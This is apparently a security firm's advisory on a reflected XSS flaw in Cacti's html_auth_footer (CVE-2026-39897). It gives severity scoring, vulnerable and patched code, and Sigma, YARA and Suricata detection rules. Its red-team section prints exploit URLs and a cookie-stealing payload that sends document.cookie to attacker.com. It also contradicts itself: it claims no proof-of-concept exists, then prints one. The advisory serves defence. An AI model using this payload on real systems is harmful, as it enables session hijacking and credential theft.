CVE-2026-39897

Executive Summary

CVE-2026-39897 is a reflected Cross-Site Scripting (XSS) vulnerability identified in Cacti, an open-source performance and fault management framework. The flaw resides in the html_auth_footer component and affects versions 1.2.30 and below. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, reflects arbitrary JavaScript into the page, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has been patched in version 1.2.31. No public proof-of-concept (PoC) or exploit code has been released at this time.

Supply Chain & Package Security

Cacti is distributed as a PHP application via its official website and GitHub repository. Users should verify the integrity of downloaded packages using checksums provided by the maintainers. The vulnerability does not affect package managers like npm, PyPI, Go, or Ruby.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The vulnerability is classified as Medium severity due to the requirement for user interaction (clicking a crafted link) and the limited impact on confidentiality and integrity. However, in a real-world scenario, an attacker could chain this with other vulnerabilities to escalate privileges or pivot within the network.

Deep Dive & Mechanics

The vulnerability exists in the html_auth_footer function, which is responsible for rendering the footer on authentication-related pages. The function does not properly sanitize user-controlled input before embedding it in the HTML output. Specifically, the $_SERVER['PHP_SELF'] or similar request parameters are reflected without encoding, allowing an attacker to inject arbitrary HTML and JavaScript.

Root Cause: Lack of output encoding for user-supplied data in the footer template.

Attack Vector: An attacker crafts a URL containing malicious JavaScript in a parameter that is reflected by html_auth_footer. For example:

http://target/cacti/index.php?<script>alert('XSS')</script>

When a victim visits this URL, the script executes in the context of the Cacti application.

Impact: Successful exploitation allows an attacker to:

• Steal session cookies and hijack authenticated sessions.
• Perform actions on behalf of the victim (e.g., modify graphs, create users).
• Deface the application or redirect users to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (version 1.2.30 and below):

function html_auth_footer() {
    // ...
    echo '<div class="footer">' . $_SERVER['PHP_SELF'] . '</div>';
    // ...
}

Patched Code (version 1.2.31):

function html_auth_footer() {
    // ...
    echo '<div class="footer">' . htmlspecialchars($_SERVER['PHP_SELF'], ENT_QUOTES, 'UTF-8') . '</div>';
    // ...
}

The fix uses htmlspecialchars() to encode special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable Cacti instance (version 1.2.30 or below).
• A web browser or tool like curl to craft the malicious URL.

Steps:

1. Identify a Cacti instance running a vulnerable version.
2. Craft a URL that injects JavaScript into the footer:

   http://target/cacti/index.php?<script>alert(document.cookie)</script>
   

3. Send the URL to a victim (e.g., via phishing email or social engineering).
4. When the victim visits the URL, the script executes, and the attacker can capture cookies or perform other actions.

Advanced Payload:

<script>
fetch('http://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Detection:

• Monitor web server logs for requests containing <script> tags or unusual characters in the query string.
• Use WAF rules to block reflected XSS patterns.

Prevention:

• Apply the patch by upgrading to Cacti 1.2.31.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in the query string.
  • Outbound connections to attacker-controlled domains from the Cacti server.
• File IOCs:
  • Modified html_auth_footer function in lib/functions.php (if not patched).
• Log IOCs:
  • Web server logs showing requests with encoded or raw JavaScript in the URL.

Detection Engineering

YARA Rule

rule CVE_2026_39897_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts targeting Cacti html_auth_footer"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-39897"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $cacti_footer = "html_auth_footer"
    condition:
        $cacti_footer and $xss_payload
}

Sigma Rule

title: Cacti Reflected XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against Cacti html_auth_footer
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'alert('
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of script tags in URL parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-39897 Cacti Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/index.php"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Cacti to version 1.2.31 or later.
2. If immediate upgrade is not possible, apply a virtual patch using a WAF to block reflected XSS patterns.
3. Review and harden input validation for all user-supplied data.

Long-term Measures:

• Implement Content Security Policy (CSP) headers to restrict inline script execution.
• Conduct regular security audits and penetration testing.
• Monitor for new CVEs and apply patches promptly.

Workaround:

• Manually patch the html_auth_footer function by adding htmlspecialchars() encoding as shown in the patched code section.

Valters IT
Securing Digital Frontiers